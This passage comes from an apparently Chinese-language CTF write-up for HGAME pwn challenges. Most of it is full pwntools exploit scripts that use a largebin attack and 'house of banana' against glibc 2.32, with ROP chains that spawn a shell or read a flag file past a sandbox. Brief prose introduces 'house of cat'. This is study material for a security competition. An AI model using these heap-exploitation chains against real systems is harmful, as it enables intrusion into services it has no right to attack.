p64(<span class="number">0</span>) +  p64(ld.address + <span class="number">0x2f740</span>) <span class="comment"># l_next</span></span><br><span class="line">payload += p64(<span class="number">0</span>) + p64(fake_link_map_addr) <span class="comment"># l_real</span></span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;setcontext&#x27;</span>] + <span class="number">61</span>) <span class="comment"># second call  rdx = the address of last call</span></span><br><span class="line">payload += p64(ret_addr) <span class="comment"># first call (fake_link_map_addr + 0x38)</span></span><br><span class="line"> </span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string"># getshell</span></span><br><span class="line"><span class="string">payload += p64(pop_rdi_ret) # 0x40</span></span><br><span class="line"><span class="string">payload += p64(next(libc.search(b&#x27;/bin/sh&#x27;)))</span></span><br><span class="line"><span class="string">payload += p64(libc.sym[&#x27;system&#x27;])</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"> </span><br><span class="line"><span class="comment"># orw</span></span><br><span class="line">flag_addr = fake_link_map_addr + <span class="number">0xe8</span></span><br><span class="line">payload += p64(pop_rdi_ret) + p64(flag_addr) <span class="comment"># fake_link_map_addr + 0x40</span></span><br><span class="line">payload += p64(pop_rsi_ret) + p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(pop_rax_ret) + p64(<span class="number">2</span>)</span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;syscall&#x27;</span>] + <span class="number">27</span>)</span><br><span class="line">payload += p64(pop_rdi_ret) + p64(<span class="number">3</span>)</span><br><span class="line">payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + <span class="number">0x200</span>)</span><br><span class="line">payload += p64(pop_rdx_r12_ret) + p64(<span class="number">0x30</span>) + p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;read&#x27;</span>])</span><br><span class="line">payload += p64(pop_rdi_ret) + p64(<span class="number">1</span>)</span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;write&#x27;</span>]) <span class="comment"># fake_link_map_addr + 0xc8</span></span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;_exit&#x27;</span>])</span><br><span class="line"> </span><br><span class="line">payload = payload.ljust(<span class="number">0x38</span> - <span class="number">0x10</span> + <span class="number">0xa0</span>, <span class="string">b&#x27;\x00&#x27;</span>) <span class="comment"># =&gt; fake_link_map_addr + 0xd8  SROP</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x40</span>) <span class="comment"># rsp</span></span><br><span class="line">payload += p64(ret_addr) <span class="comment"># rip</span></span><br><span class="line">payload += <span class="string">b&#x27;./flag\x00\x00&#x27;</span> <span class="comment"># fake_link_map_addr + 0xe8</span></span><br><span class="line"> </span><br><span class="line">payload = payload.ljust(<span class="number">0x100</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line"><span class="comment"># l-&gt;l_info[DT_FINI_ARRAY] != NULL =&gt; l-&gt;l_info[26] != NULL</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x110</span>) + p64(<span class="number">0x10</span>) <span class="comment"># l-&gt;l_info[26]  &amp;  d_ptr = 0x10</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x120</span>) + p64(<span class="number">0x10</span>) <span class="comment"># l-&gt;l_info[28]  &amp;  i = 0x10/8 = 2 =&gt; array[1] = l-&gt;l_addr + d_ptr + 8 =&gt; array[0] = l-&gt;l_addr + d_ptr</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x308</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">payload += p64(<span class="number">0x800000000</span>) <span class="comment"># l-&gt;l_init_called</span></span><br></pre></td></tr></table></figure></div><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># large bin attack   +   house of banana</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;week-3.hgame.lwsec.cn&#x27;,31373)</span></span><br><span class="line">io = process(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.32.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Exit\n&gt;&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index, size</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index, content</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Content: &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">4</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line">add(<span class="number">15</span>, <span class="number">0x508</span>)   <span class="comment">#用于编辑presize</span></span><br><span class="line">add(<span class="number">0</span>, <span class="number">0x608</span>)     </span><br><span class="line">add(<span class="number">1</span>, <span class="number">0x500</span>)   <span class="comment">#防止合并</span></span><br><span class="line">add(<span class="number">2</span>, <span class="number">0x5f8</span>)</span><br><span class="line">add(<span class="number">3</span>, <span class="number">0x500</span>)   <span class="comment">#防止合并</span></span><br><span class="line">add(<span class="number">4</span>, <span class="number">0x5e8</span>)</span><br><span class="line">add(<span class="number">5</span>, <span class="number">0x500</span>)   <span class="comment">#防止合并</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露libcbase</span></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;\x0a&#x27;</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">main_arena = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0xa</span></span><br><span class="line">libcbase = main_arena-<span class="number">0x1e3c00</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">_rtld_global = libcbase + <span class="number">0x21b040</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;_rtld_global ===&gt; &#x27;</span>+<span class="built_in">hex</span>(_rtld_global))</span><br><span class="line">one_gadget = [<span class="number">0xdf54c</span>, <span class="number">0xdf54f</span>, <span class="number">0xdf552</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#将index0放入largebin</span></span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">add(<span class="number">6</span>, <span class="number">0x508</span>)</span><br><span class="line"><span class="comment">#delete(4)</span></span><br><span class="line"></span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line">here = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">heapbase = here-<span class="number">0x7a0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#修改index0内容</span></span><br><span class="line">edit(<span class="number">0</span>, p64(<span class="number">0</span>)*<span class="number">3</span>+p64(_rtld_global-<span class="number">0x20</span>))</span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">add(<span class="number">7</span>, <span class="number">0x808</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#house of banana</span></span><br><span class="line">fake_link_map_addr = heapbase + <span class="number">0x7a0</span></span><br><span class="line">l_next = <span class="number">0x21c790</span> + libcbase</span><br><span class="line">pop_rdi_ret = libcbase + <span class="number">0x2858f</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;DEBUG =======&gt; &#x27;</span>+<span class="built_in">hex</span>(pop_rdi_ret))</span><br><span class="line">ret_addr = libcbase + <span class="number">0x29524</span></span><br><span class="line">edit(<span class="number">15</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x500</span>+p64(fake_link_map_addr+<span class="number">0x20</span>))  <span class="comment">#l_addr</span></span><br><span class="line">payload = p64(<span class="number">0</span>) + p64(l_next)</span><br><span class="line">payload += p64(<span class="number">0</span>) + p64(fake_link_map_addr) <span class="comment"># l_real</span></span><br><span class="line">payload += p64(libcbase+libc.sym[<span class="string">&#x27;setcontext&#x27;</span>] + <span class="number">61</span>) <span class="comment"># second call  rdx = the address of last call</span></span><br><span class="line">payload += p64(ret_addr) <span class="comment"># first call (fake_link_map_addr + 0x38)</span></span><br><span class="line">payload += p64(pop_rdi_ret) <span class="comment"># 0x40</span></span><br><span class="line">payload += p64(libcbase+<span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)))</span><br><span class="line">payload += p64(libcbase+libc.symbols[<span class="string">&#x27;system&#x27;</span>])</span><br><span class="line"><span class="comment">#edit(0, payload)</span></span><br><span class="line"></span><br><span class="line">payload = payload.ljust(<span class="number">0x38</span> - <span class="number">0x10</span> + <span class="number">0xa0</span>, <span class="string">b&#x27;\x00&#x27;</span>) <span class="comment"># =&gt; fake_link_map_addr + 0xd8  SROP</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x40</span>) <span class="comment"># rsp</span></span><br><span class="line">payload += p64(ret_addr) <span class="comment"># rip</span></span><br><span class="line">payload += <span class="string">b&#x27;./flag\x00\x00&#x27;</span> <span class="comment"># fake_link_map_addr + 0xe8</span></span><br><span class="line"></span><br><span class="line">payload = payload.ljust(<span class="number">0x100</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line"><span class="comment"># l-&gt;l_info[DT_FINI_ARRAY] != NULL =&gt; l-&gt;l_info[26] != NULL</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x110</span>) + p64(<span class="number">0x10</span>) <span class="comment"># l-&gt;l_info[26]  &amp;  d_ptr = 0x10</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x120</span>) + p64(<span class="number">0x10</span>) <span class="comment"># l-&gt;l_info[28]  &amp;  i = 0x10/8 = 2 =&gt; array[1] = l-&gt;l_addr + d_ptr + 8 =&gt; array[0] = l-&gt;l_addr + d_ptr</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x308</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">payload += p64(<span class="number">0x800000000</span>) <span class="comment"># l-&gt;l_init_called</span></span><br><span class="line">edit(<span class="number">0</span>, payload)</span><br><span class="line"></span><br><span class="line">menu(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="note-context"><a href="#note-context" class="headerlink" title="note_context"></a>note_context</h4><p>和第二题程序主要逻辑完全一样，不同的是这个程序开了沙箱，禁用了execve</p><p><code>largebin attack  +  house of banana</code>实现orw直接得到flag</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># large bin attack   +   house of banana</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-3.hgame.lwsec.cn&#x27;</span>,<span class="number">32063</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.32.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Exit\n&gt;&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index, size</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index, content</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Content: &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">4</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line">add(<span class="number">15</span>, <span class="number">0x508</span>)   <span class="comment">#用于编辑presize</span></span><br><span class="line">add(<span class="number">0</span>, <span class="number">0x608</span>)     </span><br><span class="line">add(<span class="number">1</span>, <span class="number">0x500</span>)   <span class="comment">#防止合并</span></span><br><span class="line">add(<span class="number">2</span>, <span class="number">0x5f8</span>)</span><br><span class="line">add(<span class="number">3</span>, <span class="number">0x500</span>)   <span class="comment">#防止合并</span></span><br><span class="line">add(<span class="number">4</span>, <span class="number">0x5e8</span>)</span><br><span class="line">add(<span class="number">5</span>, <span class="number">0x500</span>)   <span class="comment">#防止合并</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露libcbase</span></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;\x0a&#x27;</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">main_arena = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0xa</span></span><br><span class="line">libcbase = main_arena-<span class="number">0x1e3c00</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">_rtld_global = libcbase + <span class="number">0x21b040</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;_rtld_global ===&gt; &#x27;</span>+<span class="built_in">hex</span>(_rtld_global))</span><br><span class="line">one_gadget = [<span class="number">0xdf54c</span>, <span class="number">0xdf54f</span>, <span class="number">0xdf552</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#将index0放入largebin</span></span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">add(<span class="number">6</span>, <span class="number">0x508</span>)</span><br><span class="line"><span class="comment">#delete(4)</span></span><br><span class="line"></span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line">here = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">heapbase = here-<span class="number">0x7a0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#修改index0内容</span></span><br><span class="line">edit(<span class="number">0</span>, p64(<span class="number">0</span>)*<span class="number">3</span>+p64(_rtld_global-<span class="number">0x20</span>))</span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">add(<span class="number">7</span>, <span class="number">0x808</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#house of banana</span></span><br><span class="line">fake_link_map_addr = heapbase + <span class="number">0x7a0</span></span><br><span class="line">l_next = <span class="number">0x21c790</span> + libcbase</span><br><span class="line">pop_rdi_ret = libcbase + <span class="number">0x2858f</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;DEBUG =======&gt; &#x27;</span>+<span class="built_in">hex</span>(pop_rdi_ret))</span><br><span class="line">ret_addr = libcbase + <span class="number">0x29524</span></span><br><span class="line">edit(<span class="number">15</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x500</span>+p64(fake_link_map_addr+<span class="number">0x20</span>))  <span class="comment">#l_addr</span></span><br><span class="line">payload = p64(<span class="number">0</span>) + p64(l_next)</span><br><span class="line">payload += p64(<span class="number">0</span>) + p64(fake_link_map_addr) <span class="comment"># l_real</span></span><br><span class="line">payload += p64(libcbase+libc.sym[<span class="string">&#x27;setcontext&#x27;</span>] + <span class="number">61</span>) <span class="comment"># second call  rdx = the address of last call</span></span><br><span class="line">payload += p64(ret_addr) <span class="comment"># first call (fake_link_map_addr + 0x38)</span></span><br><span class="line"></span><br><span class="line">pop_rsi_ret = libcbase + <span class="number">0x2ac3f</span></span><br><span class="line">pop_rax_ret = libcbase + <span class="number">0x45580</span></span><br><span class="line">pop_rdx_r12_ret = libcbase + <span class="number">0x114161</span></span><br><span class="line"><span class="comment">#orw</span></span><br><span class="line">flag_addr = fake_link_map_addr + <span class="number">0xe8</span></span><br><span class="line">payload += p64(pop_rdi_ret) + p64(flag_addr) <span class="comment"># fake_link_map_addr + 0x40</span></span><br><span class="line">payload += p64(pop_rsi_ret) + p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(pop_rax_ret) + p64(<span class="number">2</span>)</span><br><span class="line">payload += p64(libcbase+libc.sym[<span class="string">&#x27;syscall&#x27;</span>] + <span class="number">27</span>)</span><br><span class="line">payload += p64(pop_rdi_ret) + p64(<span class="number">3</span>)</span><br><span class="line">payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + <span class="number">0x200</span>)</span><br><span class="line">payload += p64(pop_rdx_r12_ret) + p64(<span class="number">0x30</span>) + p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(libcbase+libc.sym[<span class="string">&#x27;read&#x27;</span>])</span><br><span class="line">payload += p64(pop_rdi_ret) + p64(<span class="number">1</span>)</span><br><span class="line">payload += p64(libcbase+libc.sym[<span class="string">&#x27;write&#x27;</span>]) <span class="comment"># fake_link_map_addr + 0xc8</span></span><br><span class="line">payload += p64(libcbase+libc.sym[<span class="string">&#x27;_exit&#x27;</span>])</span><br><span class="line"></span><br><span class="line">payload = payload.ljust(<span class="number">0x38</span> - <span class="number">0x10</span> + <span class="number">0xa0</span>, <span class="string">b&#x27;\x00&#x27;</span>) <span class="comment"># =&gt; fake_link_map_addr + 0xd8  SROP</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x40</span>) <span class="comment"># rsp</span></span><br><span class="line">payload += p64(ret_addr) <span class="comment"># rip</span></span><br><span class="line">payload += <span class="string">b&#x27;./flag\x00\x00&#x27;</span> <span class="comment"># fake_link_map_addr + 0xe8</span></span><br><span class="line"></span><br><span class="line">payload = payload.ljust(<span class="number">0x100</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line"><span class="comment"># l-&gt;l_info[DT_FINI_ARRAY] != NULL =&gt; l-&gt;l_info[26] != NULL</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x110</span>) + p64(<span class="number">0x10</span>) <span class="comment"># l-&gt;l_info[26]  &amp;  d_ptr = 0x10</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x120</span>) + p64(<span class="number">0x10</span>) <span class="comment"># l-&gt;l_info[28]  &amp;  i = 0x10/8 = 2 =&gt; array[1] = l-&gt;l_addr + d_ptr + 8 =&gt; array[0] = l-&gt;l_addr + d_ptr</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x308</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">payload += p64(<span class="number">0x800000000</span>) <span class="comment"># l-&gt;l_init_called</span></span><br><span class="line">edit(<span class="number">0</span>, payload)</span><br><span class="line"></span><br><span class="line">menu(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="week4"><a href="#week4" class="headerlink" title="week4"></a>week4</h2><h3 id="pwn-3"><a href="#pwn-3" class="headerlink" title="pwn"></a>pwn</h3><p>这两道题都是libc-2.36的，刚看到就想到了最近看到的house of apple，但是没怎么看懂（主要是因为没模板），然后看了另一个新技巧house of cat，不出所料，构造好后两道直接秒出。</p><h4 id="without-hook"><a href="#without-hook" class="headerlink" title="without_hook"></a>without_hook</h4><p>从libc-2.34开始，删除了我们喜闻乐见的<code>_malloc_hook</code>，<code>_free_hook</code>，因此从这以后新的技巧大都转向IO函数，其中，house of cat就是典型例子，并且目前适用于所有版本。</p><p>保护全开，依然是开了沙箱的<code>largebin attack</code></p><p>house of cat的具体细节不在这里详述，House of Cat利用了House of emma的虚表偏移修改思想，通过修改虚表指针的偏移，避免了对需要绕过TLS上 <strong>_pointer_chk_guard</strong>的检测相关的IO函数的调用，转而调用**_IO_wfile_jumps<strong>中的</strong>_IO_wfile_seekoff<strong>函数，然后进入到</strong>_IO_switch_to_wget_mode<strong>函数中来攻击，从而使得攻击条件和利用变得更为简单。并且house of 